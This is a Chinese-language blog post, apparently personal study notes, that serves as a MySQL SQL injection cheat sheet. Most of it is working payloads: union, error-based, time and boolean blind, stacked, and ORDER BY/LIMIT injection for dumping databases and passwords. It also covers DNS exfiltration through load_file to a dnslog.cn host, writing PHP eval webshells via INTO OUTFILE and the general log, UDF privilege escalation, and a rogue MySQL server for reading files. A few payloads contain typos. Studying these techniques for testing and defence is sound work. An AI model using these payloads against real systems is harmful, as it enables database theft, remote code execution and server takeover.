基于MySQL的SQL注入

参考链接

https://www.yuque.com/pmiaowu/web_security_1/mbwgtd

https://mp.weixin.qq.com/s/TUYNGbmG5O16nmH_OQYpAA

SQL基础语句

创建表

CREATE TABLE 表名(字段名 数据类型 字段属性,字段名 数据类型,字段属性); 字段属性可以不加

CREATE TABLE basic(id int NOT NULL,name VARCHAR(255) NOT NULL);

删除表

DROP TABLE 表名;

DROP TABLE test;

查询语句

SELECT * FROM 表名 WHERE id=1; (where加限定,查询表中id=1的数据)

SELECT * FROM test WHERE id=1;

Delete 删除数据

DELETE FROM 表名 WHERE 条件(例:id=1);

DELETE FROM test WHERE id=1;

Insert 增加数据

INSERT INTO 表名(字段名) VALUES(数值) ;

INSERT INTO test(id,name) VALUES(1,'test');

Update 更新数据

UPDATE 表名 SET 条件 WHERE 条件;

UPDATE test SET name='test' WHERE id=5;

判断是否有注入

?id=1 参数后加 " ' ")) ")) 单双引号,引号括号等判断页面内容是否会消失
or/and 1=1 页面正常 or/and 1=2 页面显示内容消失

or/and sleep(5) --+ / or '1'='1' 检测时间注入

and (select 1 from(select sleep(5)))
如果当前数据表没有数据上面这种方法就无法检测,这个利用子查询结构还是可以检测

?id=-11' union all select 1,2,3,4 -- -

联合注入(union)

位置通常在 where后面, 联合语句必须要在select的最后处,所以在注入过程中需要利用注释符号注释掉后面的结构

select * from users where id=1 union select 1,2,3,4;

获取数据库版本信息:(有的sql注入语句会有版本限制)

select version()
select @@version

获取当前用户 我这里当前用户为root@localhost

select user()

判断数据表有几列:

order by

使用用法: order by后添加数字来推算数据表的列数order by 5的时候页面正常 order by 6的时候页面回显不正常便可推断数据表有5个列

 https://www.xxxx.com?id=8 order by 1

通常如果数字超过了列数,报错如下

ERROR 1054 (42S22): Unknown column '6' in 'order clause'

获取回显点:
select 1,2,3,4,5 (select 1,2,3,4,5 .... ,数据表列数,就拿上面那个例子来说 就是 select 1,2,3,4,5) 一般 id后面的参数都要改成负的例:?id=-1,为了不让正常页面显示 id=-1我们就看到回显点了,如图
image.png
为什么有的没有显示出来呢,因为sql语句总有一些数据他可以回显到我们的前端,有的则不会回显给前端

获取所有的数据库

select concat(schema_name) from information_schema.schemata;

concat() 可换成 group_concat()
web情况下:http://www.xxxx.com?id=1 union select 1,2,(select concat(schema_name) from information_schema.schemata),4,5

获取所有数据表
这里database() 也可换成当前的数据库名

select concat(table_name) from information_schema.tables where table_schema=database();

例: web情况下:http://www.xxxx.com?id=1 union select 1,2,(select concat(table_name) from information_schema.tables where table_schema=database()),4,5

获取数据表中的字段
假设获取test这个数据表中的字段

select concat(column_name) from information_schema.columns where table_name='test';

例: web情况下:http://www.xxxx.com?id=1 union select 1,2,(select concat(column_name) from information_schema.columns where table_name='test'),4,5

获取对应字段的数值
假设数据库名 security 数据表名 admin
假设字段名为passwd

select cocnat(passwd) from security.admin;

例: web情况下:http://www.xxxx.com?id=1 union select 1,2,(select cocnat(passwd) from security.admin;),4,5

报错注入

报错注入前提是要数据库需要开启报错提示,这样可以通过构造指定的payload来将我们需要的数据进行带出

参考自:https://mp.weixin.qq.com/s/TUYNGbmG5O16nmH_OQYpAA

1.floor()
id=1 and (select 1 from (selectcount(*),concat(user(),floor(rand(0)*2))x from information_schema.tables groupby x)a);
2.extractvalue()
id=1 and(extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
id=1 and(updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
id=1 and polygon((select * from(select* from(select user())a)b));
7.multipolygon()
id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
id=1 and exp(~(select * from(select user())a));

常用的SQL报错注入有三种:floor报错注入,extractvalue报错注入,updatexml报错注入
后面两种类型其实是一样的,都是利用xpath来进行报错

Floor报错注入

限制:使用了mysql_error();等输出mysql报错才可以,mysql5.x版本

记忆方法:select两个位置中一个是count(*), 另一个是floor(rand(0)*2)然后利用concat集合payload将报错带出

简单的来说就是 count() 和 floor(rand(0)2)会起一个化学反应然后报错 利用concat将我们的payload链接进去就可以了

本地环境mysql8.0+ 尝试失败发生如下报错

ERROR 1022 (23000): Can't write; duplicate key in table '/var/folders/lq/0l2cb6cs1s544474xf59p3t80000gn/T/#sql1afa_14_a'

查询了一下报错的原因是因为外键名重复了的报错,刚好我们这里的floor是利用外键重复来产生报错的,所以这个报错注入在mysql 8.0+的版本中应该是么得了

mysql 5.5.6 复现成功
模版:

and (select 1 from(select count(*),concat((PAYLOAD语句),0x3a,floor(rand(0)\*2))x from information_schema.tables group by x)a);

我蛮早之前有写过这个的原理所以这里不多赘述了

MySQL 报错注入原理分析以及运用

and (select 1 from(select count(*),concat((database()),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
我们把加粗部分更换成对应的payload就可以了

获取数据库版本信息

and (select 1 from(select count(*),concat(version(),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

获取当前数据库

and (select 1 from(select count(*),concat(database(),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

获取用户

and (select 1 from(select count(*),concat(user(),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

获取数据表
第一张表,一张张的获取通过更换limit 中的数

and (select 1 from(select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

获取表中的列

and (select 1 from(select count(*),concat((select (column_name) from information_schema.columns where table_name='数据表名' limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

获取字段数值

and (select 1 from(select count(*),concat((select (字段名) from 数据库.表名 limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);

UpdateXML报错注入

限制:开启mysql数据库报错信息显示,mysql5.1.5+,有长度限制最长32位
记忆方法: updatexml(a,b,c) 中间的位置为payload即可
updatexml(a,b,c) 如果b的位置不是xpath语法的话就会报错,所以我们可以通过报错来带出我们想要的数据
模版:

and updatexml(1,concat(0x7e,(PAYLOAD语句)),1);

获取数据库

and updatexml(1,concat(0x7e,database()),1);

结果 ERROR 1105 (HY000): XPATH syntax error: '~test'

获取数据库版本信息

and updatexml(1,concat(0x7e,version()),1);

获取当前用户

and updatexml(1,concat(0x7e,user()),1);

获取所有数据库名称
通过更换limit 0,1 中的数字来进行遍历

and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1);

获取数据表
通过更换limit 0,1 中的数字来进行遍历

and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1);

获取列
通过更换limit 0,1 中的数字来进行遍历

and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test' limit 0,1)),1);

获得对应列的数值
通过更换limit 0,1 中的数字来进行遍历

and updatexml(1,concat(0x7e,(select id from 数据库.数据表  limit 0,1)),1);

Extractvalue报错注入

这是我最喜欢的一种报错注入方式
限制:开启mysql数据库报错信息显示,mysql5.1.5+,有长度限制最长32位
记忆方法:extractvalue(a,b) 第二个位置为payload即可
exractvalue(a,b) 如果b的位置不是xpath语法的话就会报错,所以我们可以通过报错来带出我们想要的数据
模版:

and extractvalue(1,concat(0x7e,(PAYLOAD语句)   ));

获取数据库版本号

and extractvalue(1,concat(0x7e,version()));

ps:这里一定要加concat或group_concat 不然的话我们输出的数据是不完整的

ERROR 1105 (HY000): XPATH syntax error: '.17'

加了concat之后

ERROR 1105 (HY000): XPATH syntax error: '~8.0.17'

获取当前用户

and extractvalue(1,concat(0x7e,user()));

获取所有数据库名
通过更换limit 0,1 中的数字来进行遍历

and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)));

获取数据表
通过更换limit 0,1 中的数字来进行遍历

and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)));

获取数据表中的列
通过更换limit 0,1 中的数字来进行遍历

and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='数据表' limit 0,1)));

获取数据表中的值

and extractvalue(1,concat(0x7e,(select id from 数据库.数据表  limit 0,1)));

uploadxml&&extractvalue绕过长度限制

之前有说这两种方式是有最长32的长度限制的
举个例子:

image-20200505220840245

我们可以看到我们的password由于长度太长从而没法全部显示出来

substr函数

7fef617146 9e80d32c05 59f88b3772 458888

substr(被截取字符串,起始位置,截取几位)

注意这里有两个concat第一个concat和我们的sql注入进行结合,第二个concat将0x7和substr()进行结合确保数据显示完整

select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,substr(password,1,10),0x7e) from test.admin limit 0,1)));

image-20200505222357028

这里之所以要用这么多concat是因为不用concat的话第一个数据会显示不出来就像下面这样

image-20200505222529641

substring&&length函数

这个和第一个类型差不多

substring(被截取字符串,开始位置,截取几位),配合length()函数使用更佳

select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,length(password),0x7e) from test.admin limit 0,1)));

image-20200505224420647

substring(password,1)从第一位开始截取,最长截取30位

substring(password,31) 31位到最后

7fef617146 9e80d32c05 59f88b3772 458888

select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,substring(password,1),0x7e) from test.admin limit 0,1)));

image-20200505225530655

截取剩下的

select * from admin where id=1 and extractvalue(1,concat(0x7e,(select concat(0x7e,substring(password,1),0x7e) from test.admin limit 0,1)));

image-20200505225658932

left函数

left(user(),4)='root'; 从左往右取四个

image-20200507221630699

right函数

right(user(),9)='localhost'; 从右往左取9个

image-20200507221811200

mid函数

mid(字符串,开始位置,返回字符串如果没有则返回整个字符串)

image-20200507221953454

时间盲注

有时有点网站会把回显和报错都进行关闭,这时候可以使用时间盲注根据回显的时间来判断数据是否正确

时间盲注的种类有三种:sleep,benchmark,笛卡尔积

时间盲注其实基本都是换汤不换药,主要的模版不变,换的就是那些造成延迟的函数,我个人觉得利用select case when这个比较好 如下

select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (延时函数) else 1 end)x);

利用benchmark函数

套模版:

select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (select benchmark(10000000,sha(1))) else 1 end)x);

原理:将一个算式重复运算多次从而造成时间延迟

例:select benchmark(10000000,sha(1));

将she(1)执行10000000从而造成时间延迟

image-20200513231848540

Ps:这里的0不要太少,0数量太少的话根本不可能出现延迟

select * from admin where id=1 and (select 1 from(select case when(substr(user(),1,1)='r') then (select benchmark(100000000,sha(1))) else 1 end)x);

image-20200513233126463

利用sleep函数

套模版:

select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then sleep(5) else 1 end)x);

利用sleep(5)来延时注入

我这里用的是select case when() then xxx else xxx end 结构来进行的延时注入

select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then sleep(5) else 1 end)x);

同样的if条件也可以进行注入

select * from admin where id=1 and if((substring(user(),1,1))='r',sleep(5),1);

image-20200520161700593

测试过程中推荐使用sql子查询的方式来进行注入

select * from admin where id=1 and (select 1 from(select if(substring(user(),1,1)='r',sleep(5),1))x);

image-20200520162439279

这样我们就可以看到延时的时间是5s了而不是15s

利用benchmark进行延时注入,经过测试在同id的情况下并不会出现延时时间翻倍情况

select * from admin where id=1 and if((substring(user(),1,1))='r',(select benchmark(10000000,sha(1))),1);

image-20200520162013003

利用笛卡尔积

https://xz.aliyun.com/t/2288

这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。

这样即可造成延时

SELECT count(*) FROM information_schema.columns A, information_schema.columns B;

同样的还是套模版

select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (SELECT count(*) FROM information_schema.columns A, information_schema.columns B) else 1 end)x);

image-20200520214637978

可以看出两张表就能延迟很多秒了

if条件判断时间注入

id=1 and sleep(2)
id=1 and if((substr(select user(),1,1)='r'),sleep(2),1)

模版:

and if(substring((PAYLOAD),1,1)='第一个字母',sleep(5),1);

可以写脚本进行字母遍历,八过这样的话还是直接sqlmap吧哈哈

user()如果是root@localhost的话就会延时5秒

and if(substring(user(),1,1)='r',sleep(5),1);`

第一个表为admin 注入语句如下

and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',sleep(5),1);

以此类推

and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='d',sleep(5),1);

case条件判断时间注入

模版

case when(条件语句) then sleep(5) else 1 end;
select * from admin where id=1 and/or case when(select user() like '%root%') then sleep(5) else 1 end;

image-20200507223120057

拿sqli-labs第一关测试一下

http://192.168.1.4:8888/Less-1/?id=-1' and (select 1 from(select case when(select user() like '%root%') then sleep(5) else 1 end)x) %23

成功延迟了5秒

猜测原语句为 select * from security where id='$id';

我们插入拼接之后变成 select * from security where id='' and (select 1 from(select case when(select user() like '%root%') then sleep(5) else 1 end)x) %23';

单引号闭合前面的结构 %23注释后面的'确保语句结构完整

在工作的时候遇到了sql时间盲注,发现利用select case和sql子查询语句能得到比较好的效果,如下:

and (select 1 from(select case when(ord(substr(database(),1,1))=105) then sleep(5) else 1 end)x) or '1'='1

布尔盲注

布尔(boolen)盲注就是通过判断返回页面的正确与否来进行拆解数据,因为不用等待延时所以相比时间盲注速度快很多

if条件判断布尔盲注

整体和前面的时间盲注比较相似

and if(substring((PAYLOAD),1,1)='第一个字母',1=1,1=2);

简单的例子:

select * from admin where id=1 and if(substring(user(),1,1)='r',1=1,1=2);

image.png
第一个是如果正确 1=1 第二个是如果前面条件正确 1=2
可以看到返回结果完全不一样

第一个表名为a的注入语句如下:

and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',1=1,1=2);

regexp正则表达式布尔盲注

利用正则表达式来进行判断

堆叠注入

堆叠注入可通过分号来执行多个sql语句,危害非常大,不过在mysql中非常少见

php中查询需要用到 mysqli_multi_query 才可进行堆叠注入

id=1;select user();

image-20210112115050743

php代码如下:

<?php
error_reporting(0);

$host = '127.0.0.1';
$username = 'root';
$password = '密码';
$db = '数据库';
$port = '3306';
$conn = mysqli_connect($host,$username,$password,$db,$port);
try {
    $sql = 'select * from admin where id='.$_GET['id'];
    $res = mysqli_multi_query($conn,$sql);
//    $rows = mysqli_fetch_all($res);
    do{
        if($result = mysqli_store_result($conn)){
            while ($row=mysqli_fetch_row($result))
            {
                var_dump($row);
//                printf("%sn".PHP_EOL,$row[0]);
            }
            mysqli_free_result($result);
        }
    }    while (mysqli_next_result($conn));


} catch (Exception $result){
    print_r(mysqli_error($result));
} finally {
    mysqli_close($conn);
}

基于DNS的注入

通过把我们的结果当作我们的域名的前缀传回 ,主要是利用load_file这个函数,需要root的权限,secure_file_priv参数为空,windows操作系统
https://blog.csdn.net/Auuuuuuuu/article/details/88082184

show variables like "%secure%"

secure_file_priv 空 代表允许读写目录
secure_file_priv NULL 代表不允许输入输出
secure_file_priv D:\ 代表只能在c盘进行读写

注入语句:

select load_file(concat('\\\\',database(),'.xw2elk.dnslog.cn\\abc'));

image-20210112111546059

Insert注入&Update注入

Inser注入

有的时候我们遇到的注入点是insert语句,这时我们可以利用报错注入或时间盲注来爆出我们想要的数据

insert into admin values(1,(extractvalue(1,concat(0x7e,version()))),1); 

可以得到我们数据库的版本

image-20210112155904914

然后我本地测试的时候的注入语句

id=1 and (select 1 from(select case when user() like "%r%" then sleep(5) else 1 end)x),'1000') -- -

报错注入

extractvalue(1,(concat(0x7e,(payload),0x7e)))
id=1 and extractvalue(1,concat(0x7e,version())),'1000') -- -   // 补全前面的结构然后注释掉后面的结构

image-20210112160341828

Insert插入多行

由于数据库insert执行插入多行即:

INSERT INTO test VALUES(1,'admin','admin'),(2,'test','test');

在SQL注入Insert中有时可利用上面的方法会有意想不到的结果,不过由于会插入数据所以使用的时候要慎重

update 注入

其实和insert注入差不多 也可以用过sleep或者报错来进行获取数据,这样也不会修改数据库里的信息

id=1 and (select 1 from(select case when(user() like "%r%") then sleep(5) else 1 end )x)
id=1 and extractvalue(1,concat(1,database()))

LIMIT处注入

写文件

可将数据表中的内容写入到文件中

select * from tt limit 1 into outfile 'D:\\phpStudy\\MySQL\\1.txt';

image-20210112115642317

版本要求 mysql<5.6.6的5.x系列

  • procedure analyse

模版:

procedure analyse(extractvalue(1,concat(0x3a,PAYLOAD)),1);

爆数据库

select * from 数据表 order by id limit 0,1 procedure analyse(extractvalue(1,concat(0x3a,database())),1);

image-20210112115943822

  • 结合union语句

符合条件的数据库可以直接在limit后面正常的使用union进行一个拼接注入

select * from sqltest where id=1 limit 0,1 union select 1,2

结果如下

image-20210112120036991

select * from sqltest where id=1 limit 0,1 union select (select version()),(select database());

两处都可以进行注入

image-20210112120122811

可以看到注入成功

  • 结合时间盲注
select * from sqltest where id=1 limit 0,1 union select 1,if(substring(user(),1,1)='r',sleep(5),1);`

具体步骤都和前面的一样就不过多阐述了

order by 处注入

参考:https://www.secpulse.com/archives/57197.html

mysql中的order by的作用是对数据表中的数据进行排序,正常使用情况下我们可以对我们某一列的数据进行排序

select * from admin order by id desc;
select * from admin order by sleep(2);

image-20200521102421127

desc表示的是降序排序,所以这里我们可以看到对我们的id进行了一个降序排序

所以这里讨论的order by注入的注入点自然就是order by 后面

select * from admin order by $_GET['id'];

如何判断该注入点在order by处,一种是知道表单列名的可以利用if来进行判断

if(1=1,id,username)   # 前面1=1永远为真 按照id排序
if(1=2,id,username)   # 前面1=2永远为假 按照username排序

但是上面这种情况基本在实战过程中没什么用处。。(毕竟在实战过程中我们怎么可能实现知道数据表)

第二种,在不知道表的情况下根据回显来进行判断

if(1=1,1,(select+1+union+select+2)) 正常回显
if(1=2,1,(select+1+union+select+2)) 无回显

同时也可以利用延时语句来观察是否有注入

if(1=1,(select benchmark(1000000,sha(1))),1)
if(1=1,sleep(5),1)  # 这个不是很推荐 在测试过程中发现会全表延迟这是实际中需要避免的问题

然后在注入过程中将最前面的 1=1 替换成payload就可以了

order by 报错注入

和普通的报错注入差不多无非就是位置不同

select * from admin order by id, updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);

image-20200509204950998

加and也是可以的

select * from admin order by 1 and updatexml(0x3e,concat(0x3e,(user())),0x3e);

image-20200520224342948

Sqli-labs less 46

http://192.168.1.4:8888/Less-46/?sort=1 and extractvalue(0x3a,concat(0x3a,database())) 

image-20200521115105062

order by 盲注

  • 时间盲注
    select * from admin order by 1 RLIKE (CASE WHEN (substring(user(),1,1)='a') THEN 1 ELSE benchmark(1000000,sha(1)) END);
    

这里使用sleep会导致全表延迟,需要避免这种情况

image-20200520233656898

可以利用if判断语句,这里举一个sqli-labs less 48的例子

http://192.168.1.4:8888/Less-48/?sort=if(substring(database(),1,1)='s',(select benchmark(1000000,sha(1))),id)

如果数据库名的第一个字母是s 就进行延迟,反之就按照id进行排序

image-20200521110036741

table 处SQL注入

这里遇到的比较少 ,像如下例子注入点在表名

$conn = mysqli_connect($host,$username,$password,$db,$port);
try {
    $sql = 'select * from '.$_GET['table'].' where id=1';
    $res = mysqli_query($conn,$sql);
    $rows = mysqli_fetch_all($res);
    var_dump($rows);
} catch (Exception $result){
    print_r(mysqli_error($result));
} finally {
    mysqli_close($conn);
}

利用如下语句可注入

select * from (select * from hello) as a where id =1

image-20210112105105973

可以跨数据库进行查询,前提是后面的where中的字段别的数据表中有,上面限定了where id=1 但是information_schema.schemata中并没有id字段那么就无法查询出来,如果将where去掉,即可进行查询

image-20210112105730111

MySQL读写文件

在SQL注入如果满足了对应的条件我们是可以直接进行shell的写入的,所以这里就在讨论一下读写文件是需要哪些前提条件

首先我们需要知道 这么一个参数 secure_file_priv 这个参数对应的数值很大程度上决定了我们能否进行读写

查看**secure_file_priv ** (5.5.53之前的版本是secure_file_priv变量 默认为空)

show variables like "%secure%";
+--------------------------+---------------+
| Variable_name                 | Value    |
+--------------------------+---------------+
| require_secure_transport      | OFF      |
| secure_file_priv              | NULL     |
+--------------------------+---------------+

可以看到这里我们的secure_file_priv 的值为NULL 即代表不允许任何文件进行导入导出操作

  • secure_file_priv NULL 不允许任何文件进行导入导出操作
  • secure_file_priv 空 对导入导出操作不做任何限制
  • secure_file_priv G:\ 只允许在G盘进行导入导出操作

如果要修改secure_file_priv 要在 mysql.ini (windows)/ my.cnf (linux) 文件中进行修改

其次!当前用户一定要为root用户!

select load_file('/etc/passwd');
select '<?php phpinfo(); ?>' into outfile '/var/www/shell.php';
select '<?php phpinfo(); ?>' into dumpfile '/var/www/shell.php';

Linux下写文件

如果想要使用读写函数,必须满足以下要求:

  1. 当前用户是root用户
  2. secure_file_priv 为空 或者要写入的文件夹刚好是secure_file_priv的特定文件夹

  3. 写shell的文件夹必须要 777的权限不然会写入失败

  4. 文件大小: 必须小于max_allowed_packet

满足以上条件我们的文件才会正常写入

image-20200529155724566

如果我们目标文件夹的权限不够则会报错

ERROR 1 (HY000): Can't create/write to file '/usr/2.php' (Errcode: 13)

image-20200529155818227

Linux下读文件

Linux下读文件要求就相对少一些

  1. 当前用户是root用户
  2. 目标文件可读,如下:

image-20200529155140727

Windows下读文件

  1. 用户root
  2. secure_file_priv 要为空(或指定路径为我们可以访问到的)
 select load_file('C:/sql.txt');

image-20200529162634795

Windows下写文件

windows下条件就没有linux那么复杂

  1. 用户root
  2. secure_file_priv 要为空(或指定路径为我们可以访问到的)

image-20200529161840160

SQL注入写shell 读文件

满足三个条件

1.要能文件读写

2.用户一定要root不然是没有权限的

3.secure_file_priv 要为空(或指定路径为我们可以访问到的)

查看**secure_file_priv **

show variables like "%secure%";
+--------------------------+---------------+
| Variable_name                 | Value    |
+--------------------------+---------------+
| require_secure_transport      | OFF      |
| secure_file_priv              | NULL     |
+--------------------------+---------------+

可以看到这里我们的secure_file_priv 的值为NULL 即代表不允许任何文件进行导入导出操作

  • secure_file_priv NULL 不允许任何文件进行导入导出操作
  • secure_file_priv 空 对导入导出操作不做任何限制
  • secure_file_priv G:\ 只允许在G盘进行导入导出操作

经过测试Linux下如果要写入文件,那么目标文件夹权限必须是 777 不然是写不进去

不然会出现如下报错

ERROR 1 (HY000): Can't create/write to file '/test/1.php' (Errcode: 13)

利用绝对路径写入木马

类似下面这样

select '<?php eval($_POST['pwd']); ?>' into outfile /homt/wwwroot/default/a.php

利用mysql的日志getshell

其实原理都是相同的,把我们的木马放到我们的网站根目录下,这种情况的话比较适合于已经登陆进phpmyadmin,windows才可以用这种方式 linux下对文件路径进行一个规定只能往 /tmp/ /var/ 下写

将我们的mysql日志文件移动到我们的web目录下,然后将我们的代码引入到日志文件中,最终getshell

知道网站的绝对路径 (从一些探针文件或者phpinfo 等文件中进行一个获取)

SET GLOBAL general_log_file=ON;
SET GLOBAL general_log_file='/homt/wwwroot/default/a.php';
SELECT '<?php eval($_POST['test']); ?>';
SET GLOBAL general_log_file=OFF;

UDF提权

需要将文件放在安装目录的 lib\plugin 下才行

select @@basedir;
show variables like "%secure%";   查看能否进行正常读写
show variables like "%plugin%";   查看mysql的插件目录
Select "0x ......(hex内容)" into dumpfile "mysql的plugin目录下\\udf.dll";  web目录下可以这样
或
直接上传恶意dll文件到plugin目录
Create function sys_eval returns string soname "udf.dll";
Select sys_eval('whomai');
drop function sys_eval;

https://www.sqlsec.com/tools/udf.html 辅助页面

https://github.com/luoke90hou/files/blob/main/mysqludflinux.txt

https://github.com/luoke90hou/files/blob/main/mysqludfwindows.txt

恶意MySQL服务端读取文件

https://github.com/allyshka/Rogue-MySql-Server 修改py文件 python2执行,然后连接我们的恶意mysql数据库,查看目录下的mysql.log即可

python2 rogue_mysql_server.py

image-20210111205421558

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注